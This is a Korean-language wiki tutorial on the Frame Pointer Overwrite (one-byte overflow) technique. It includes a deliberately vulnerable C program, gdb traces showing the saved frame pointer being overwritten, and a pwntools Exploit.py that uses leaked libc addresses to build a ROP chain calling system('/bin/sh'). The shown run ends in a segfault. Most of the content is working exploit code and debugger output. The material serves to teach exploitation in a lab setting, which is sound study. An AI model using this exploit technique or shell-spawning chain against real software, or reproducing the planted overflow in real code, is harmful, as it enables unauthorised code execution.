Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

List

Table of Contents
excludeList

Frame Pointer Overwrite(One-byte Overflow)

  • Frame Pointer Overwrite란 Frame point에 1byte를 덮어써서 프로그램의 실행 흐름을 제어하는 것입니다.

LEAVE, LEAVE instruction

  • 해당 취약성은 다음과 같은 구조에서 발생합니다.
    • vuln() 함수에서 Overflow로 인해 main() 함수의 Frame Pointer를 1 byte 변경 할 수 있습니다.

    • vuln() 함수가 종료 될 때 변경된 Frame Pointer는 leave 명령어에 의해 RBP 레지스터에 저장됩니다.

    • main() 함수가 종료 될 때 RBP 레지스터에 저장된 Frame Pointer는 leave 명령어에 의해 RSP 레지스터에 저장됩니다.

    • 즉, 이로 인해 ret 명령어에 의해 이동할 영역을 변경 할 수 있습니다.
      • 공격하는 형태는 Frame faking과 동일 합니다.
      • 단, Frame faking은 Return Address 영역까지 Overflow 했으나, FPO는 Frame Pointer의 1 byte를 Overwrite 합니다.


Code Block
titleLEAVE, LEAVE instruction
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo
Reading symbols from ./fpo...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400706 <+0>:	push   rbp
   0x0000000000400707 <+1>:	mov    rbp,rsp
...
   0x0000000000400760 <+90>:	call   0x4005c0 <read@plt>
   0x0000000000400765 <+95>:	nop
   0x0000000000400766 <+96>:	leave  
   0x0000000000400767 <+97>:	ret    
End of assembler dump.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400768 <+0>:	push   rbp
   0x0000000000400769 <+1>:	mov    rbp,rsp
...
   0x0000000000400796 <+46>:	call   0x400706 <vuln>
   0x000000000040079b <+51>:	nop
   0x000000000040079c <+52>:	leave  
   0x000000000040079d <+53>:	ret    
End of assembler dump.
gdb-peda$ 


Proof of concept

Example code

  • 다음 코드를 이용하여 Frame Pointer Overwrite의 동작을 확인하겠습니다.
    • 해당 프로그램은 Stack address, Libc address를 출력합니다.
      • Stack address: buf
      • Libc address: printf_addr
    • read()함수를 이용해 사용자로 부터 49개의 문자를 입력 받습니다.
      • 이로 인해 Frame pointer영역에 1byte를 Overwrite 할 수 있습니다.
Code Block
languagecpp
titlefpo.c
//gcc -fno-stack-protector -o fpo fpo.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

void vuln(){
    char buf[32];
    printf("buf[32] address : %p\n",buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 49);
}

void main(int argc, char *argv[]){
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }
    vuln();
}

Overwriting the Frame Pointer

  • 다음과 같이 Break pointer를 설정합니다.

    • 0x40070a: vuln() 함수에서 사용 할 Fream Pointer를 RBP 레지스터에 저장한 후 

    • 0x400766: vuln() 함수에서 leave 명령어 호출

    • 0x40079c: main() 함수에서 leave 명령어 호출

...

Code Block
titleOverwrite to Frame Pointer of main() function
gdb-peda$ c
Continuing.

buf[32] address : 0x7fffffffe400
Printf() address : 0x7ffff785e800
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGG

Breakpoint 2, 0x0000000000400766 in vuln ()
gdb-peda$ G
Ambiguous command "G": .
gdb-peda$ i r rbp
rbp            0x7fffffffe430	0x7fffffffe430
gdb-peda$ x/2gx 0x7fffffffe430
0x7fffffffe430:	0x00007fffffffe447	0x000000000040079b
gdb-peda$ ni

0x0000000000400767 in vuln ()
gdb-peda$ i r rbp
rbp            0x7fffffffe447	0x7fffffffe447
gdb-peda$ 

...

Code Block
titleChange the flow of code
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040079c in main ()
gdb-peda$ i r rbp
rbp            0x7fffffffe447	0x7fffffffe447
gdb-peda$ x/2gx 0x7fffffffe447
0x7fffffffe447:	0x0000020000000000	0x000000004007a000
gdb-peda$ ni

0x000000000040079d in main ()
gdb-peda$ i r rsp
rsp            0x7fffffffe44f	0x7fffffffe44f
gdb-peda$ x/gx 0x7fffffffe44f
0x7fffffffe44f:	0x000000004007a000
gdb-peda$ x/gx 0x7fffffffe400
0x7fffffffe400:	0x4141414141414141
gdb-peda$ 

Exploit

Code Block
languagepy
titleExploit.py
from pwn import *

p = process(['./fpo','AAAA'])

p.recvuntil('buf[32] address : ')
tmp = p.recvuntil('\n')
onebyte = int(tmp[12:14],16)

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)

libcBase = libc - 0x55800
sysAddr = libcBase + 0x45390
exit = libcBase + 0x3a030
binsh = libcBase + 0x18cd57
poprdi = 0x00400803 

print "Stack Addr : " + tmp
print "onebyte : " + hex(onebyte)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)
 
exploit = '\x90' * 8 
exploit += p64(poprdi)
exploit += p64(binsh)
exploit += p64(sysAddr)
exploit += '\x90' * (48 - len(exploit))
exploit += p64(onebyte)
  
p.send(exploit)
p.interactive()

...

Code Block
titlepython Exploit.py (failure)
lazenca0x0@ubuntu:~/Exploit/FPO$ python Exploit.py 
[+] Starting local process './fpo': pid 7554
Stack Addr : 0x7ffff7e7c3b0

onebyte : 0xb0
libc base : 0x7fc5c5157000
system() : 0x7fc5c519c390
exit() : 0x7fc5c5191030
binsh : 0x7fc5c52e3d57
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Process './fpo' stopped with exit code -11 (SIGSEGV) (pid 7554)
lazenca0x0@ubuntu:~/Exploit/FPO$ 

Related site

Comments

Panel